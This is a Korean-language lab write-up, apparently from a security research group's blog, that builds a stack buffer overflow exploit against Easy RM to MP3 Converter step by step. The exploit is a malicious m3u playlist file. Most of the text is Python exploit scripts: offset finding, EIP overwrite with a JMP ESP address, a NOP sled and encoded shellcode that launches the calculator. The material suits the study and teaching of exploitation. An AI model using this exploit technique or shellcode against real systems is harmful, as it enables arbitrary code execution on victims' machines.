개요


보통 음악을 재생하는 프로그램(Easy RM to MP3 Converter)에서 음악 파일 혹은 음악 파일 리스트를 입력 받아 음악을 재생할 것이다. 하지만 악의적인 m3u 파일을 생성하고 로딩하여 원래 프로그램의 기능이 아닌 행위를 할 수 있다. 이번 실습에서는 스택 기반 오버플로우 기법을 이용하여 m3u 파일을 로딩시킴으로써 계산기가 띄어지도록 하는 실습을 할 것이고, 이를 통해서 스택 기반 오버플로우에 대해서 개념을 확실히 잡을 것이다.



Exploit 대상

  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

OllyDbg 1.1: Easy RM to MP3 Converter를 디버깅

findjmp.exe: JMP ESP 검색하기 위해 사용



실습


1. 버퍼 크기 파악


1) m3u 파일(A 10,000) 생성하는 python 스크립트를 작성하고 실행하여 m3u 파일을 생성한다. 아래의 스크립트로 생성된 crash10000m3u 파일을 Easy RM to MP3 Converter에 로딩하면 아래와 같이 정상적인 에러 메시지를 확인할 수 있다. 하지만 비정상적으로 종료가 되지 않은 것으로 보아 EIP가 변경되지 않았고, 버퍼가 넘치지 않은 것을 의미이다.


filename = 'crash10000.m3u'
junk = 'A' * 10000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




2) 버퍼를 넘치게 하기 위해 이번엔 아래와 같이 10,000개를 20,000개로 수정하고, 실행하여 생성된 파일을 로딩하면 위와 같은 정상적인 에러 메시지를 확인할 수 있다.


filename = 'crash20000.m3u'
junk = 'A' * 20000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename



3) 아직 넘치지 않았기 때문에 30,000개로 변경하고, 실행하여 생성한 파일을 다시 로딩하면 이번에는 위와 같은 정상적인 메시지가 아닌 것을 확인할 수 있다.


filename = 'crash30000.m3u'
junk = 'A' * 30000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




4) 위에서 나온 창에서 오류에 관한 자세한 정보를 보기 위해 ‘여기를 클릭하십시요’를 클릭하면 아래와 같이 나오고, 오류 보고에 관한 기술 정보를 보려면 ‘여기를 클릭하십시요’를 누르면 아래와 같이 자세하게 볼 수 있다. 오류 내용을 확인해보면 Address가 41414141인 것을 볼 수 있는데 이는 버퍼가 넘쳐서 Return Address를 덮어 씌워져 엉뚱한 주소(41414141)로 점프한 것을 확인할 수 있다.





5) 이번에는 EIP를 내가 원하는 주소로 변경하기 위해 버퍼의 크기를 알아낼 것이다. 그래서 'A' 25,000개와 'B' 5,000개를 입력으로 스크립트를 수정한다. 아래 스크립트를 실행한 파일을 해당 프로그램에 로딩하면 역시 오류가 발생하고, 위에서 확인한 것처럼 Address를 확인해보면 42424242, 즉 버퍼가 25,000개에서 30,000개 사이인 것을 알 수 있다.


filename = 'crash250000+5000.m3u'
junk = 'A' * 25000 + 'B' * 5000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




6) Kali Linux에서 제공하는 pattern_create.rb(usage: ./pattern_create.rb <패턴의 개수>)를 이용하여 5,000 byte의 패턴을 생성하고, 스크립트에 삽입한다.



filename = 'crash250000+5000_2.m3u'
junk = 'A' * 25000 + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9...Gk0Gk1Gk2Gk3Gk4Gk5Gk' # created pattern

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename



7) 위에서 수정한 스크립트를 실행하여 m3u 파일을 생성하여 프로그램에 로딩하면 역시 오류가 발생합니다. 오류가 난 Address를 확인해보면 42376b42인 것을 볼 수 있습니다.



8) 위에서 확인한 주소(42376b42)를 pattern_offset.rb(usage: ./pattern_offset.rb <offset> <생성했던 패턴 개수>)를 실행하면 offset이 1101임을 확인할 수 있습니다. 즉, return address 전까지의 버퍼의 크기는 26101(=25000+1101)이 됩니다.




2. EIP & 스택 조작


1) 버퍼의 크기를 알았으니 EIP를 원하는 주소로 스크립트를 수정합니다. 그리고 아래 스크립트를 실행하여 파일을 생성한다.


filename = 'crash42424242.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'C' * 160

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()

print '[+] file(%s) created successfully' % filename



2) Easy RM to MP3 Converter 프로그램을 실행시킨 뒤, OllyDbg를 실행하여 File > Attach하고 실행(Debug > Run, F9)한다.




3) 위의 스크립트에서 생성된 파일을 로딩시키면 아래와 같이 멈추는데, 이 때 EIP 값이 42424242이고, 스택 한 43434343(CCCC)로 가득 채워지는 것을 확인할 수 있다. 하지만 실제로 스택의 top에도 43434343(CCCC)가 있을 것이다.




4) 이번에는 스택 상단에 정확히 원하는 값을 넣고자 EIP(42424242) 다음에 몇 byte가 사용되지 않는지 확인하기 위해 아래와 같이 코드를 수정한다.


filename = 'crashesp.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()

print '[+] file(%s) created successfully' % filename



5) 위와 같이 프로그램을 Attach한 다음 생성한 m3u 파일을 로딩한다. 그리고 스택을 보면 42424242 다음에 44434241이 pop 되어있고 ESP가 가리키는 데이터는 48474645임을 확인할 수 있다. 무슨 용도로 pop이 되는지 알고자 한다면 프로그램을 분석해야 하지만 프로그래밍을 해본 경험을 바탕으로 추측해본다면 m3u 파일을 로딩하는 함수의 매개변수가 한 개 사용했기 때문에 pop을 함으로써 4 byte가 소모 되는 것으로 생각된다.

참고(정확한 이유) >> https://www.corelan.be/index.php/forum/exploit-writing-win32-stack-bof-direct-ret/question-about-esp-in-tutorial-pt1/




6) 위에서 4 byte가 pop 되는 것을 확인하였고, EIP 다음에 pop 될 데이터와 ESP가 가리키는 데이터를 ‘C’로 채워 수정한다. 그리고 아래 스크립트를 실행하여 m3u 파일을 생성한다.


filename = 'crashesp_2.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = '0000'
junk3 = 'C' * 160

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.write(junk3)
file.close()

print '[+] file(%s) created successfully' % filename



7) 위에서 생성된 파일을 로딩시키면 EIP가 42424242, 스택 Top 데이터는 43434343으로 채워지는 것을 확인할 수 있다.






3. 쉘 코드 삽입


1) 이번엔 EIP를 ESP 값을, junk2를 ‘\x90(NOP)’ 4 byte, junk3을 shellcode로 변경하여 작성하고, 실행한다.


from struct import pack

filename = 'crashshell.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x000FF730)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



2) 위에서 생성된 파일을 로딩시켜보면 실행될 것이라 생각했던 쉘 코드가 실행되지 않고, 스택 Top 데이터가 원하는 값이 아닌 것을 확인할 수 있다. 문제점으로는 점프하려 했던 0x000FF730은 NULL 바이트(종단 문자)를 가지고 있으므로, 원하는 지점까지 프로그램이 도달하지 못한다. 그리고 특정 메모리로 직접 점프하는 방법은 좋은 방법이 아니다. 그렇기 때문에 ESP로 점프하는 명령어(JMP ESP, CALL ESP, PUSH ESP / RETN, …)를 찾고 EIP가 그 함수를 호출하도록 하는 것이 좋다.




3) findjmp.exe(usage: findjmp.exe <DLL> <Register>)를 사용하여 JMP ESP 명령어를 검색한다. 이 프로그램을 사용하지 않고 디버거를 이용하여 실행 가능한 영역에서 JMP ESP 혹은 CALL ESP, PUSH ESP / RETN 등 기계어를 검색하는 방법이 있다.




4) 위에서 NULL 바이트가 없는 주소를 선택하여 eip 변수에 넣어서 실행한다.


from struct import pack

filename = 'crashshell_2.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



5) 위의 파일을 로딩해보면 실패한 것을 확인할 수 있다. 이유를 생각해보면 JMP ESP 명령어가 실행할 때 ESP 값이 항상 0x000FF730 값일 리는 없을 것이다.




6) 그렇기 때문에 ‘\x90(NOP)’의 개수를 40개로 늘려 수정하고, 실행하여 m3u 파일을 생성한다.


from struct import pack

filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 40
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



7) 생성한 파일을 해당 프로그램에 로딩시키면 오류가 발생하지만(쉘 코드가 실행이 되고 이상한 코드가 실행이 되지만 예외처리를 하지 않았기 때문으로 추측) 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 1 스택 기반 오버플로우


Written by dinger from SecurityInsight Research Group.

+ Recent posts